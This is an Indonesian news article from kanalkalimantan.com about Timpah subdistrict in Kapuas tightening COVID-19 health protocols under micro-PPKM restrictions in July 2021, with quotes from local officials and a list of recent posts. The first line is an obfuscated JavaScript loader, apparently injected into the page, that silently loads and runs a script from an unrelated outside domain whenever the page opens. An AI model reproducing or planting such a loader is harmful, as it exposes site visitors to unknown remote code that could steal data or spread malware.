(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Kecamatan Timpah Perketat Protokol Kesehatan Hingga Pelosok Desa


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) mikro di Kabupaten Kapuas, Pemerintah Kecamatan Timpah memperketat protokol kesehatan hingga ke pelosok desa.

Menindaklanjuti instruksi Bupati Kapuas tentang optimalisasi PPKM mikro di tingkat kecamatan dan desa, setiap warga dengan tetap memakai masker, karena Covid-19 sudah menyerang klaster rumah tangga.

“Agar masyarakat wilayah Kecamatan Timpah mentaati Surat Edaran Bupati tersebut, maka kegiatan tersebut akan semakin kami tingkatkan,” terang Plt Camat Timpah, Vandriyono SPi, Senin (19/7/2021).

Baca juga: Sandiaga Uno Serahkan Sapi Kurban untuk Warga Sekumpul

 

 

Dijelaskannya lebih lanjut, dalam pesan singkat Bupati Kapuas yakni pelaksanaan ibadah dilakukan di rumah masing-masing, terutama menghentikan sementara kegiatan keagamaan yang sifatnya mengumpulkan orang banyak.

“Terkait dalam surat edaran tersebut, Kecamatan Timpah siap mendukung penuh,” kata Plt Camat.

Lebih lanjut Plt Camat Timpah, meminta para kepala desa dapat bersinergi dengan Polsek, Koramil, dan Puskesmas melakukan penanganan dan penanggulangan penyebaran Covid-19 dalam wilayahnya.

“Terima kasih kepada tenaga kesehatan dan semua aparat yang berkerjasama menyosialisasikan instruksi Bupati Kapuas. Kita berupaya jangan sampai ada lonjakan, dan kita semua harus menerapkan pemberlakuan pengetatan protokol kesehatan,” pungkasnya.

Baca juga: Siswa Kembali Belajar Online di Banjarbaru, Bantuan Kuota Internet Tak Ada

Sementara itu, Kapolsek Timpah, Ipda Fadlullah Azmi mengingatkan masyarakat dapat berpartisipasi mencegah penyebaran Covid-19, disamping untuk mengantisipasi lonjakan kasus yang lebih tinggi.

“Polsek Timpah mendukung yang tertuang dalam surat edaran tersebut, guna perketat pada tempat-tempat yang dapat menimbulkan kerumunan baik disektor ekonomi, sosial, budaya dan disektor lainnya yang masih kurang mengindahkan protokol kesehatan,” tegas Kapolsek Timpah. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Risa

Recent Posts

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

6 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

7 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

7 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

14 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

15 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

1 hari ago

This website uses cookies.